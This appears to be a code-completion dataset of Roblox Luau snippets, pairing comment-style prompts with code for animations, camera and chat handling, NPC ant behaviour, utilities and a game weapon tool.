prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- humanoidAnimatePlayEmote.lua |
local Figure = script.Parent
local Torso = Figure:WaitForChild("Torso")
local RightShoulder = Torso:WaitForChild("Right Shoulder")
local LeftShoulder = Torso:WaitForChild("Left Shoulder")
local RightHip = Torso:WaitForChild("Right Hip")
local LeftHip = Torso:WaitForChild("Left Hip")
local Neck = Torso:WaitForChild("Neck")
local Humanoid = Figure:WaitForChild("Humanoid")
local pose = "Standing"
local EMOTE_TRANSITION_TIME = 0.1
local userAnimateScaleRunSuccess, userAnimateScaleRunValue = pcall(function() return UserSettings():IsUserFeatureEnabled("UserAnimateScaleRun") end)
local userAnimateScaleRun = userAnimateScaleRunSuccess and userAnimateScaleRunValue
local function getRigScale()
if userAnimateScaleRun then
return Figure:GetScale()
else
return 1
end
end
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=180435571", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=180435792", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=14004765857", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=180436148", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=180436334", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=178130996", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=182393478", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 } |
--[[
CreateGameState
Description: This server script creates the game state machine based on the current gamemode selected by this script Gamemode attribute.
]] | |
--[[
An implementation of Promises similar to Promise/A+.
]] |
local tutils = require(script.Parent.tutils)
local PROMISE_DEBUG = true
|
--[=[
Utility functions for the TemplateProvider
@class TemplateContainerUtils
]=] |
local Workspace = game:GetService("Workspace")
local RunService = game:GetService("RunService")
local TemplateContainerUtils = {}
function TemplateContainerUtils.reparentFromWorkspaceIfNeeded(parent, name)
assert(typeof(parent) == "Instance", "Bad parent")
assert(type(name) == "string", "Bad name")
local workspaceContainer = Workspace:FindFirstChild(name)
local parentedContainer = parent:FindFirstChild(name)
if workspaceContainer then
if parentedContainer then
error(("Duplicate container in %q and %q"):format(
workspaceContainer:GetFullName(),
parentedContainer:GetFullName()))
end
-- Reparent
if RunService:IsRunning() then
workspaceContainer.Parent = parent
end
return workspaceContainer
end
if not parentedContainer then
error(("No template container with name %q in %q")
:format(parent:GetFullName(), name))
end
return parentedContainer
end
return TemplateContainerUtils
|
--[[Weight and CG]] |
Tune.Weight = 3934 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
-- Decompiled with the Synapse X Luau decompiler. |
return function(p1)
local v1 = 0;
for v2 in pairs(p1) do
v1 = v1 + 1;
end;
return v1;
end;
|
--[[
Package link auto-generated by Rotriever
]] |
local PackageIndex = script.Parent.Parent._Index
local Package = require(PackageIndex["TestEZ-28fc8954-0.4.2"]["TestEZ"])
return Package
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 140 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 240 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 200 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
--local MouseInput = Tool:WaitForChild("MousePos",10) |
local Services = {
Players = (game:FindService("Players") or game:GetService("Players")),
TweenService = (game:FindService("TweenService") or game:GetService("TweenService")),
RunService = (game:FindService("RunService") or game:GetService("RunService")),
Input = (game:FindService("ContextActionService") or game:GetService("ContextActionService"))
}
local Player,Character,Humanoid
function Primary(actionName, inputState, inputObj)
if inputState == Enum.UserInputState.Begin then
Remote:FireServer(Enum.KeyCode.Q)
end
end
function Equipped()
Player = Services.Players.LocalPlayer
Character = Player.Character
Humanoid = Character:FindFirstChildOfClass("Humanoid")
if not Humanoid or not Humanoid.Parent or Humanoid.Health <= 0 then return end
Services.Input:BindAction("Primary",Primary,true,Enum.KeyCode.Q,Enum.KeyCode.ButtonX)
Services.Input:SetTitle("Primary","Black hole")
Services.Input:SetPosition("Primary",UDim2.new(.5,0,-.5,0))
end
function Unequipped()
Services.Input:UnbindAction("Primary")
end
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
|
-- Listener for changes to workspace.CurrentCamera |
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if player.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick
or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if player.DevTouchMovementMode.Name == "DynamicThumbstick" then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:GetCameraHeight()
if VRService.VREnabled and not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
return translationVector * sensitivity
end
function BaseCamera:Enable(enable)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
self:ConnectInputEvents()
self:BindContextActions()
if player.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
self:DisconnectInputEvents()
self:UnbindContextActions()
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
end
end
function BaseCamera:GetEnabled()
return self.enabled
end
function BaseCamera:OnInputBegan(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Down(input, processed)
end
end
function BaseCamera:OnInputChanged(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
self:OnMouseMoved(input, processed)
end
end
function BaseCamera:OnInputEnded(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Up(input, processed)
end
end
function BaseCamera:OnPointerAction(wheel, pan, pinch, processed)
if processed then
return
end
if pan.Magnitude > 0 then
local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue())
local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector
self.rotateInput = self.rotateInput + rotateDelta
end
local zoom = self.currentSubjectDistance
local zoomDelta = -(wheel + pinch)
if abs(zoomDelta) > 0 then
local newZoom
if self.inFirstPerson and zoomDelta > 0 then
newZoom = FIRST_PERSON_DISTANCE_THRESHOLD
else
if FFlagUserFixZoomInZoomOutDiscrepancy then
if (zoomDelta > 0) then
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
else
newZoom = (zoom + zoomDelta) / (1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE)
end
else
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
end
end
self:SetCameraToSubjectDistance(newZoom)
end
end
function BaseCamera:ConnectInputEvents()
self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed)
self:OnPointerAction(wheel, pan, pinch, processed)
end)
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
self:OnInputBegan(input, processed)
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
self:OnInputChanged(input, processed)
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
self:OnInputEnded(input, processed)
end)
self.menuOpenedConn = GuiService.MenuOpened:connect(function()
self:ResetInputStates()
end)
self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if self.activeGamepad ~= gamepadEnum then return end
self.activeGamepad = nil
self:AssignActivateGamepad()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if self.activeGamepad == nil then
self:AssignActivateGamepad()
end
end)
self:AssignActivateGamepad()
if not FFlagUserCameraToggle then
self:UpdateMouseBehavior()
end
end
function BaseCamera:BindContextActions()
self:BindGamepadInputActions()
self:BindKeyboardInputActions()
end
function BaseCamera:AssignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if self.activeGamepad == nil then
self.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < self.activeGamepad.Value then
self.activeGamepad = connectedGamepads[i]
end
end
end
if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
self.activeGamepad = Enum.UserInputType.Gamepad1
end
end
function BaseCamera:DisconnectInputEvents()
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
self.inputBeganConn = nil
end
if self.inputChangedConn then
self.inputChangedConn:Disconnect()
self.inputChangedConn = nil
end
if self.inputEndedConn then
self.inputEndedConn:Disconnect()
self.inputEndedConn = nil
end
end
function BaseCamera:UnbindContextActions()
for i = 1, #self.boundContextActions do
ContextActionService:UnbindAction(self.boundContextActions[i])
end
self.boundContextActions = {}
end
function BaseCamera:Cleanup()
if self.pointerActionConn then
self.pointerActionConn:Disconnect()
self.pointerActionConn = nil
end
if self.menuOpenedConn then
self.menuOpenedConn:Disconnect()
self.menuOpenedConn = nil
end
if self.mouseLockToggleConn then
self.mouseLockToggleConn:Disconnect()
self.mouseLockToggleConn = nil
end
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
if self.touchActivateConn then
self.touchActivateConn:Disconnect()
self.touchActivateConn = nil
end
self.turningLeft = false
self.turningRight = false
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
self.userPanningTheCamera = false
self.rotateInput = Vector2.new()
if FFlagUserFixGamepadCameraTracking then
if self.gamepadPanningCamera then
self.gamepadPanningCamera = ZERO_VECTOR2
end
else
self.gamepadPanningCamera = Vector2.new(0,0)
end
-- Reset input states
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self.fingerTouches = {}
self.dynamicTouchInput = nil
self.numUnsunkTouches = 0
self.startingDiff = nil
self.pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
|
-- Used to lock the chat bar when the user has chat turned off. |
function methods:DoLockChatBar()
if self.TextLabel then
if LocalPlayer.UserId > 0 then
self.TextLabel.Text = "To chat in game, turn on chat in your Privacy Settings."
else
self.TextLabel.Text = "Sign up to chat in game."
end
self:CalculateSize()
end
if self.TextBox then
self.TextBox.Active = false
self.TextBox.Focused:connect(function()
self.TextBox:ReleaseFocus()
end)
end
end
function methods:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton)
--// Code for getting back into general channel from other target channel when pressing backspace.
UserInputService.InputBegan:connect(function(inputObj, gpe)
if (inputObj.KeyCode == Enum.KeyCode.Backspace) then
if (self:IsFocused() and TextBox.Text == "") then
self:SetChannelTarget(ChatSettings.GeneralChannelName)
end
end
end)
TextBox.Changed:connect(function(prop)
if prop == "AbsoluteSize" then
self:CalculateSize()
return
end
if prop ~= "Text" then
return
end
self:CalculateSize()
if (string.len(TextBox.Text) > ChatSettings.MaximumMessageLength) then
TextBox.Text = string.sub(TextBox.Text, 1, ChatSettings.MaximumMessageLength)
return
end
if not self.InCustomState then
local customState = self.CommandProcessor:ProcessInProgressChatMessage(TextBox.Text, self.ChatWindow, self)
if customState then
self.InCustomState = true
self.CustomState = customState
end
else
self.CustomState:TextUpdated()
end
end)
local function UpdateOnFocusStatusChanged(isFocused)
if isFocused or TextBox.Text ~= "" then
TextLabel.Visible = false
else
TextLabel.Visible = true
end
end
MessageModeTextButton.MouseButton1Click:connect(function()
if MessageModeTextButton.Text ~= "" then
self:SetChannelTarget(ChatSettings.GeneralChannelName)
end
end)
TextBox.Focused:connect(function()
if not self.UserHasChatOff then
self:CalculateSize()
UpdateOnFocusStatusChanged(true)
end
end)
TextBox.FocusLost:connect(function(enterPressed, inputObject)
self:CalculateSize()
if (inputObject and inputObject.KeyCode == Enum.KeyCode.Escape) then
TextBox.Text = ""
end
UpdateOnFocusStatusChanged(false)
end)
end
function methods:GetTextBox()
return self.TextBox
end
function methods:GetMessageModeTextButton()
return self.GuiObjects.MessageModeTextButton
end
|
--[=[
Adds commas to a number. Not culture aware.
@param number string | number
@return string
]=] |
function String.addCommas(number: string | number): string
if type(number) == "number" then
number = tostring(number)
end
local index = -1
while index ~= 0 do
number, index = string.gsub(number, "^(-?%d+)(%d%d%d)", '%1,%2')
end
return number
end
return String
|
-- LightService |
local LightService = game:GetService("Lighting")
|
-- << API >> |
function hd:SetTopbarTransparency(number)
number = tonumber(number) or 0.5
topBarFrame.BackgroundTransparency = number
end
function hd:SetTopbarEnabled(boolean)
if type(boolean) ~= "boolean" then
boolean = true
end
main.topbarEnabled = boolean
topBarFrame.Visible = boolean
main:GetModule("TopBar"):CoreGUIsChanged()
end
return hd
|
--DevVince was here.:o (4/23/2019)
--Fixed some stuff and made ants go after diffrent targets. |
local hill = script.Parent
local itemData = require(game.ReplicatedStorage.Modules.ItemData)
local activeAnts = {}
function GetDictionaryLength(tab)
local total = 0
for _,v in next, tab do
total = total + 1
end
return total
end
addAnt = coroutine.wrap(function()
while wait(5) do
if GetDictionaryLength(activeAnts) < 3 then
local newAnt = game.ServerStorage.Creatures['Scavenger Ant']:Clone()
newAnt:SetPrimaryPartCFrame(hill.PrimaryPart.CFrame*CFrame.new(0,5,0))
newAnt.Parent = hill
activeAnts[newAnt] = {
["carrying"] = nil,
["target"] = nil,
["destination"] = newAnt.PrimaryPart.Position,
["lastOrder"] = tick(),
["lastScan"] = tick(),
["anims"] = {},
}
for _,anim in next,game.ReplicatedStorage.NPCAnimations.Ant:GetChildren() do
activeAnts[newAnt].anims[anim.Name] = newAnt:WaitForChild("Hum"):LoadAnimation(anim)
end
newAnt:WaitForChild'Health'.Changed:connect(function()
newAnt.PrimaryPart.Hurt.Pitch = newAnt.PrimaryPart.Hurt.OriginalPitch.Value+(math.random(-100,100)/100)
newAnt.PrimaryPart.Hurt:Play()
end)
newAnt.AncestryChanged:connect(function()
activeAnts[newAnt] = nil
end)
end
wait(55)
end
end)
addAnt()
function Seeking(array, target)--Queen ant keeps track of her workers. ;)
for i,v in pairs(array) do
if v == target then
return true
end
end
return false
end
manageAnts = coroutine.wrap(function()
while wait(1) do
local seeking = {}
for ant, antData in next,activeAnts do
spawn(function()
if ant and ant.PrimaryPart and ant:FindFirstChild'Hum' and ant.Hum.Health > 0 and ant:IsDescendantOf(workspace) then
activeAnts[ant].lastScan = tick()
-- scan for nearest Shelly
if not activeAnts[ant].carrying then
local nearestShelly,closestDist = nil,math.huge
for _,creature in next, workspace.Critters:GetChildren() do
if not Seeking(seeking, creature) and creature:FindFirstChild'HitShell' and itemData[creature.Name].abductable then
local a, c = ant.PrimaryPart, creature.PrimaryPart
if not c then
c = creature:FindFirstChildOfClass'BasePart'
end
local dist = (c.Position-a.Position).magnitude
if dist < closestDist then
nearestShelly = creature
closestDist = dist
end
end
end
if ant and nearestShelly then
activeAnts[ant].destination = nearestShelly.PrimaryPart.Position
activeAnts[ant].target = nearestShelly
table.insert(seeking, nearestShelly)
activeAnts[ant].target.AncestryChanged:connect(function()
activeAnts[ant].target = nil
end)
end
else
activeAnts[ant].destination = hill.PrimaryPart.Position+Vector3.new(0,3,0)
end
if activeAnts[ant].destination then
ant.Hum:MoveTo(activeAnts[ant].destination)
if not activeAnts[ant].anims.AntWalk.IsPlaying then
activeAnts[ant].anims.AntWalk:Play()
end
if antData.target and not antData.carrying then
local dist = (ant.PrimaryPart.Position-activeAnts[ant].target.PrimaryPart.Position).magnitude
if dist < 5 then
-- let's get a new shelly
local abductedShelly = game.ServerStorage.Misc["Abducted Shelly"]:Clone()
antData.carrying = abductedShelly
abductedShelly.Shell.Material = antData.target.Shell.Material
abductedShelly.Shell.Color = antData.target.Shell.Color
abductedShelly.ActualName.Value = antData.target.Name
--game.ReplicatedStorage.Events.NPCAttack:Fire(antData.target,math.huge)
antData.target:Destroy()
abductedShelly.Parent = ant
activeAnts[ant].anims.AntWalk:Stop()
activeAnts[ant].anims.AntHold:Play()
ant.PrimaryPart.Chatter:Play()
ant.PrimaryPart.ShellyAbduct:Play()
-- weld the shelly to the torso
local weld = Instance.new("ManualWeld")
weld.Parent = ant.PrimaryPart
weld.Part0 = ant.PrimaryPart
weld.Part1 = abductedShelly.PrimaryPart
weld.C0 = CFrame.new(-.4,.4,-1.6)*CFrame.Angles(0,math.rad(90),0)
end
elseif antData.carrying then
local dist = (ant.PrimaryPart.Position-activeAnts[ant].destination).magnitude
if dist < 7 then
ant.Hum:MoveTo(ant.PrimaryPart.Position)
ant.PrimaryPart.Chatter:Play()
activeAnts[ant].anims.AntHold:Stop()
activeAnts[ant].anims.AntWalk:Stop()
activeAnts[ant].carrying:Destroy()
activeAnts[ant].carrying = nil
activeAnts[ant].destination = nil
activeAnts[ant].target = nil
end
end
end
end
end)--Help prevent breaking and faster responding times for ants.
end--Shouldn't error now though.
end
end)
manageAnts()
|
-- Removes Ownership after Disconnect |
game.Players.PlayerRemoving:Connect(function(player)
local claim = script.Parent.OwnerName.Value
if claim == player.Name then
script.Parent.OwnerName.Value = ""
script.Parent.Parent.GUIPart.bruh.Words.Text = "No Owner"
prompt.Enabled = false
rentprompt.Enabled = true
end
end)
|
--local PlayerDataClient = require(ReplicatedStorage:WaitForChild("PlayerData").Client) |
local LoadingScreen = require(script.Parent.LoadingScreen)
local REQUIRED_ASSETS = {
-- Instances or content strings that are important to display first
}
LoadingScreen.enableAsync()
LoadingScreen.updateDetailText("Preloading important assets...")
ContentProvider:PreloadAsync(REQUIRED_ASSETS)
LoadingScreen.updateDetailText("Initializing...")
task.wait(1.5)
LoadingScreen.updateDetailText("Loading user data...")
LoadingScreen.updateDetailText("Spawning character...")
task.wait(3)
LoadingScreen.updateDetailText("Finishing up...")
task.wait(0.5)
LoadingScreen.disableAsync()
|
--!strict |
local TweenService = game:GetService("TweenService")
local parent = script.Parent
|
--Returns an animation class for the given id. |
local AnimationCache = {}
local function GetAnimation(AnimationId)
if not AnimationCache[AnimationId] then
local Animation = Instance.new("Animation")
Animation.AnimationId = AnimationId
AnimationCache[AnimationId] = Animation
end
return AnimationCache[AnimationId]
end
|
--local TEAM = Character:WaitForChild("TEAM") |
local VisualizeBullet = script.Parent:WaitForChild("VisualizeBullet")
local Module = require(Tool:WaitForChild("Setting"))
local GunScript_Server = Tool:WaitForChild("GunScript_Server")
local ChangeAmmoAndClip = GunScript_Server:WaitForChild("ChangeAmmoAndClip")
local InflictTarget = GunScript_Server:WaitForChild("InflictTarget")
local AmmoValue = GunScript_Server:WaitForChild("Ammo")
local ClipsValue = GunScript_Server:WaitForChild("Clips")
local GUI = script:WaitForChild("GunGUI")
local IdleAnim
local FireAnim
local ReloadAnim
local ShotgunClipinAnim
local Grip2
local Handle2
local HandleToFire = Handle
if Module.DualEnabled then
Handle2 = Tool:WaitForChild("Handle2",2)
if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end
end
local Equipped = false
local Enabled = true
local Down = false
local Reloading = false
local AimDown = false
local Ammo = AmmoValue.Value
local Clips = ClipsValue.Value
local MaxClip = Module.MaxClip
local PiercedHumanoid = {}
if Module.IdleAnimationID ~= nil or Module.DualEnabled then
IdleAnim = Tool:WaitForChild("IdleAnim")
IdleAnim = Humanoid:LoadAnimation(IdleAnim)
end
if Module.FireAnimationID ~= nil then
FireAnim = Tool:WaitForChild("FireAnim")
FireAnim = Humanoid:LoadAnimation(FireAnim)
end
if Module.ReloadAnimationID ~= nil then
ReloadAnim = Tool:WaitForChild("ReloadAnim")
ReloadAnim = Humanoid:LoadAnimation(ReloadAnim)
end
if Module.ShotgunClipinAnimationID ~= nil then
ShotgunClipinAnim = Tool:WaitForChild("ShotgunClipinAnim")
ShotgunClipinAnim = Humanoid:LoadAnimation(ShotgunClipinAnim)
end
function wait(TimeToWait)
if TimeToWait ~= nil then
local TotalTime = 0
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
while TotalTime < TimeToWait do
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
end
else
game:GetService("RunService").Heartbeat:wait()
end
end
function RayCast(Start,Direction,Range,Ignore)
local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(Start,Direction*Range),Ignore)
if Hit then
if (Hit.Transparency > 0.75
or Hit.Name == "Handle"
or Hit.Name == "Effect"
or Hit.Name == "Bullet"
or Hit.Name == "Laser"
or string.lower(Hit.Name) == "water"
or Hit.Name == "Rail"
or Hit.Name == "Arrow"
or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent.Humanoid.Health == 0)
or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent:FindFirstChild("TEAM") and TEAM and Hit.Parent.TEAM.Value == TEAM.Value))
or (Hit.Parent:FindFirstChild("Humanoid") and PiercedHumanoid[Hit.Parent.Humanoid]) then
Hit,EndPos = RayCast(EndPos+(Direction*.01),Direction,Range-((Start-EndPos).magnitude),Ignore)
end
end
return Hit,EndPos
end
function ShakeCamera()
if Module.CameraShakingEnabled then
local Intensity = Module.Intensity/(AimDown and Module.MouseSensitive or 1)
for i = 1, 10 do
local cam_rot = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local cam_scroll = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude
local ncf = CFrame.new(Camera.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ((-Intensity+(math.random()*(Intensity*2)))/100, (-Intensity+(math.random()*(Intensity*2)))/100, 0)
Camera.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll)
wait()
end
end
end
function Fire(ShootingHandle)
local PierceAvailable = Module.Piercing
PiercedHumanoid = {}
if FireAnim then FireAnim:Play(nil,nil,Module.FireAnimationSpeed) end
if not ShootingHandle.FireSound.Playing or not ShootingHandle.FireSound.Looped then ShootingHandle.FireSound:Play() script.Parent.Model.casing:FireServer() end
local Start = (Humanoid.Torso.CFrame * CFrame.new(0,1.5,0)).p--(Handle.CFrame * CFrame.new(Module.MuzzleOffset.X,Module.MuzzleOffset.Y,Module.MuzzleOffset.Z)).p
local Spread = Module.Spread*(AimDown and 1-Module.SpreadRedution or 1)
local Direction = (CFrame.new(Start,Mouse.Hit.p) * CFrame.Angles(math.rad(-Spread+(math.random()*(Spread*2))),math.rad(-Spread+(math.random()*(Spread*2))),0)).lookVector
while PierceAvailable >= 0 do
local Hit,EndPos = RayCast(Start,Direction,5000,Character)
if not Module.ExplosiveEnabled then
if Hit and Hit.Parent then
local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
local TargetTorso = Hit.Parent:FindFirstChild("HumanoidRootPart")
--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
InflictTarget:FireServer(TargetHumanoid,
TargetTorso,
(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
Direction,
Module.Knockback,
Module.Lifesteal,
Module.FlamingBullet)
PiercedHumanoid[TargetHumanoid] = true
--end
else
PierceAvailable = 0
end
end
else
local Explosion = Instance.new("Explosion")
Explosion.BlastRadius = Module.Radius
Explosion.BlastPressure = 0
Explosion.Position = EndPos
Explosion.Parent = Workspace.CurrentCamera
Explosion.Hit:connect(function(Hit)
if Hit and Hit.Parent and Hit.Name == "Torso" then
local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
local TargetTorso = Hit.Parent:FindFirstChild("Torso")
--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
InflictTarget:FireServer(TargetHumanoid,
TargetTorso,
(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
Direction,
Module.Knockback,
Module.Lifesteal,
Module.FlamingBullet)
--end
end
end
end)
PierceAvailable = 0
end
PierceAvailable = Hit and (PierceAvailable - 1) or -1
script.Parent.BulletVisualizerScript.Visualize:Fire(nil,ShootingHandle,
Module.MuzzleOffset,
EndPos,
script.MuzzleEffect,
script.HitEffect,
Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
false,
PierceAvailable == -1 and Module.VisualizerEnabled or false)
script.Parent.VisualizeBullet:FireServer(ShootingHandle,
Module.MuzzleOffset,
EndPos,
script.MuzzleEffect,
script.HitEffect,
Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
true,
PierceAvailable == -1 and Module.VisualizerEnabled or false)
Start = EndPos + (Direction*0.01)
end
end
function Reload()
if Enabled and not Reloading and (Clips > 0 or not Module.LimitedClipEnabled) and Ammo < Module.AmmoPerClip then
Reloading = true
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
UpdateGUI()
if Module.ShotgunReload then
for i = 1,(Module.AmmoPerClip - Ammo) do
if ShotgunClipinAnim then ShotgunClipinAnim:Play(nil,nil,Module.ShotgunClipinAnimationSpeed) end
Handle.ShotgunClipin:Play()
wait(Module.ShellClipinSpeed)
end
end
if ReloadAnim then ReloadAnim:Play(nil,nil,Module.ReloadAnimationSpeed) end
Handle.ReloadSound:Play() script.Parent.Model.reload:FireServer()
wait(Module.ReloadTime)
if Module.LimitedClipEnabled then Clips = Clips - 1 end
Ammo = Module.AmmoPerClip
ChangeAmmoAndClip:FireServer(Ammo,Clips)
Reloading = false
UpdateGUI()
end
end
function UpdateGUI()
